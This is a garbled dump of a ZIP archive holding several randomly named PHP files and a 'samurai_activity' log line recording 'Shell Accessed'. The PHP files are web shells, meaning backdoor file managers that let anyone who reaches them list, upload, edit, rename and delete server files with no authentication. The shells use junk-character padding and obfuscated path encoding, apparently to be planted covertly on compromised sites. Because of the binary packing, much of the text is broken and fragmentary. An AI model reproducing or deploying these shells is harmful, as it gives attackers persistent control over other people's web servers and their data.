PKQsm\samurai_activity.lognu[[2026-03-13 08:52:47] IP: 57.141.2.10 | Action: Shell Accessed | Target: 57.141.2.10 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler) PKQsm\9gZ,, z86uk.phpnu[]]jkjjgdj7ghjghjghghjgfjfgjfgjfgjfgjfghghjghjghjghjjghjghjghjgjdskfgj במ12[aspddfasdghjghjghjghjghjvbnvbnvbfgjfgjfgjfgjfgnvbnvbnvbnvbnsfscvxcv;' = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> PKQsm\KV dr80q.phpnu[File disimpan.

"; } $content = htmlspecialchars(file_get_contents($file)); echo "

Edit: ".basename($file)."

"; echo "

"; echo "

Kembali

"; exit; } } // Upload if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) { $tmpName = $_FILES['upload']['tmp_name']; $name = basename($_FILES['upload']['name']); move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name); header("Location: ?path=" . urlencode($currentDir)); exit; } $items = scandir($currentDir); ?>

File Manager

Path:

⬅️ Kembali

NamaAksiRename
$item" : $item ?> Download | View/Edit | Hapus
PKQsm\*IXX rf5em.phpnu[mLL tqmu6.phpnu[PKQsm\~\ݸ5 5  z8op2.phpnu[PKQsm\| samurai_activity.lognu[PKQsm\9gZ,,  z86uk.phpnu[PKQsm\KV j dr80q.phpnu[PKQsm\*IXX  rf5em.phpnu[PK "